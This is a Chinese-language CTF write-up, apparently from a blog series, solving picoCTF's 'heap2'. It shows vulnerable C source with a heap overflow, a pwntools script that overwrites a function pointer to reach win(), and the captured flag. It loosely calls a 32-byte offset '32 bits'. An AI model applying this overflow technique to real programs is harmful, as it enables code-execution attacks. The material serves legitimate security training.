iT邦幫忙

2024 iThome 鐵人賽

DAY 26
0
Security

picoCTF系列 第 26

[Day 26] heap2

  • 分享至 

  • xImage
  •  

看到題目,看到題目問我們能否處理 pointers ( 指標 ),並且提示告訴我們要注意 endianness。
https://ithelp.ithome.com.tw/upload/images/20240922/2016834299oSMftlkt.png
hint 1:Are you doing the right endianness?

我們先將題目給予的檔案下載,會得到兩個檔案。

$ ls -l 
-rw-rw-r-- 1 user     user   20416 Mar 12 18:42 chall
-rw-rw-r-- 1 user     user    1872 Mar 12 18:42 chall.c

因為提示有說要注意 endianness,所以我們用 exiftool 查看 chall 的詳細資料,發現是 little endian 的 elf 檔案。

$ exiftool chall
ExifTool Version Number         : 12.40
File Name                       : chall
Directory                       : .
File Size                       : 20 KiB
File Modification Date/Time     : 2024:03:12 18:42:21+00:00
File Access Date/Time           : 2024:08:04 05:05:58+00:00
File Inode Change Date/Time     : 2024:08:04 05:05:58+00:00
File Permissions                : -rw-rw-r--
File Type                       : ELF executable
File Type Extension             : 
MIME Type                       : application/octet-stream
CPU Architecture                : 64 bit
CPU Byte Order                  : Little endian
Object File Type                : Executable file
CPU Type                        : AMD x86-64

連上題目給予的網址,會得到下列的輸入提示。輸入 1 和 3 後,知道 x 是在 0x63b2d0 位置的值。

$ nc mimas.picoctf.net 65448

I have a function, I sometimes like to call it, maybe you should change it

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 1
[*]   Address   ->   Value   
+-------------+-----------+
[*]   0x63b2b0  ->   pico
+-------------+-----------+
[*]   0x63b2d0  ->   bico

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 3

x = bico

因為 0x63b2d0 和 0x63b2b0 之間差了 32 個 bits ,所以輸入 " 8 * 'pico' + 1234 ",才能夠將 x 的值更改成 1234。

Enter your choice: 2
Data for buffer: picopicopicopicopicopicopicopico1234

1. Print Heap
2. Write to buffer
3. Print x
4. Print Flag
5. Exit

Enter your choice: 3

x = 1234

接著來看題目給的原始檔,以下是完整 code 。

可以發現輸入 4 會呼叫 check_win() 這個函式,其功能是會存取 x 這個指標指向的位置。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define FLAGSIZE_MAX 64

int num_allocs;
char *x;
char *input_data;

void win() {
    // Print flag
    char buf[FLAGSIZE_MAX];
    FILE *fd = fopen("flag.txt", "r");
    fgets(buf, FLAGSIZE_MAX, fd);
    printf("%s\n", buf);
    fflush(stdout);

    exit(0);
}

void check_win() { ((void (*)())*(int*)x)(); }

void print_menu() {
    printf("\n1. Print Heap\n2. Write to buffer\n3. Print x\n4. Print Flag\n5. "
           "Exit\n\nEnter your choice: ");
    fflush(stdout);
}

void init() {

    printf("\nI have a function, I sometimes like to call it, maybe you should change it\n");
    fflush(stdout);

    input_data = malloc(5);
    strncpy(input_data, "pico", 5);
    x = malloc(5);
    strncpy(x, "bico", 5);
}

void write_buffer() {
    printf("Data for buffer: ");
    fflush(stdout);
    scanf("%s", input_data);
}

void print_heap() {
    printf("[*]   Address   ->   Value   \n");
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", input_data, input_data);
    printf("+-------------+-----------+\n");
    printf("[*]   %p  ->   %s\n", x, x);
    fflush(stdout);
}

int main(void) {

    // Setup
    init();

    int choice;

    while (1) {
        print_menu();
	if (scanf("%d", &choice) != 1) exit(0);

        switch (choice) {
        case 1:
            // print heap
            print_heap();
            break;
        case 2:
            write_buffer();
            break;
        case 3:
            // print x
            printf("\n\nx = %s\n\n", x);
            fflush(stdout);
            break;
        case 4:
            // Check for win condition
            check_win();
            break;
        case 5:
            // exit
            return 0;
        default:
            printf("Invalid choice\n");
            fflush(stdout);
        }
    }
}

於是我們知道,若將 x 指向 win() 函式的地址,就能夠呼叫 win() ,印出 flag.txt 的資訊了。

所以我們使用 readelf,查看 win() 這個函式被儲存在哪裡,如此才知道 x 要指向哪裡。

發現 win() 在 0x00000000004011a0 的位置,但因為是 little endian,所以要將位置顛倒過來,變成 0xa011400000000000。

$ readelf -s chall | grep 'win'
    27: 00000000004011f0    17 FUNC    GLOBAL DEFAULT   14 check_win
    38: 00000000004011a0    66 FUNC    GLOBAL DEFAULT   14 win

使用 pwntool ,首先連上網址,再來用 sendline 輸入 2,並用 recvuntil 接收到 buffer 這個詞後,填入 pico *8+\xa0\x11\x40\x00,最後再輸入 4 ,回傳 x 得到的內容 ,這裡 x 會指向 win(),所以 x 的內容應該是 flag.txt 。

至於為甚麼只要輸入 \xa0\x11\x40\x00,是因為 check_win() 中,把 x 轉換成 int * ,總共 32 bits,所以填入 \xa0\x11\x40\x00 就足夠了。

#!/usr/bin/env python3
from pwn import *

p = remote("mimas.picoctf.net", 65448)

p.sendline(b"2")
p.recvuntil(b"buffer:")
p.sendline(b"picopicopicopicopicopicopicopico\xa0\x11\x40\x00")

p.recvuntil(b"choice:")
p.sendline(b"4")
print(p.recvall())

執行檔案後,得到 flag。

$ ./script.py 
[+] Opening connection to mimas.picoctf.net on port 65448: Done
[+] Receiving all data: Done (43B)
[*] Closed connection to mimas.picoctf.net port 65448
b' picoCTF{and_down_the_road_we_go_dde41590}\n'

小結:

學會 pwntool 寫法,以及如何用指標。


上一篇
[Day 25] Permissions
下一篇
[Day 27] format string 2
系列文
picoCTF30
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言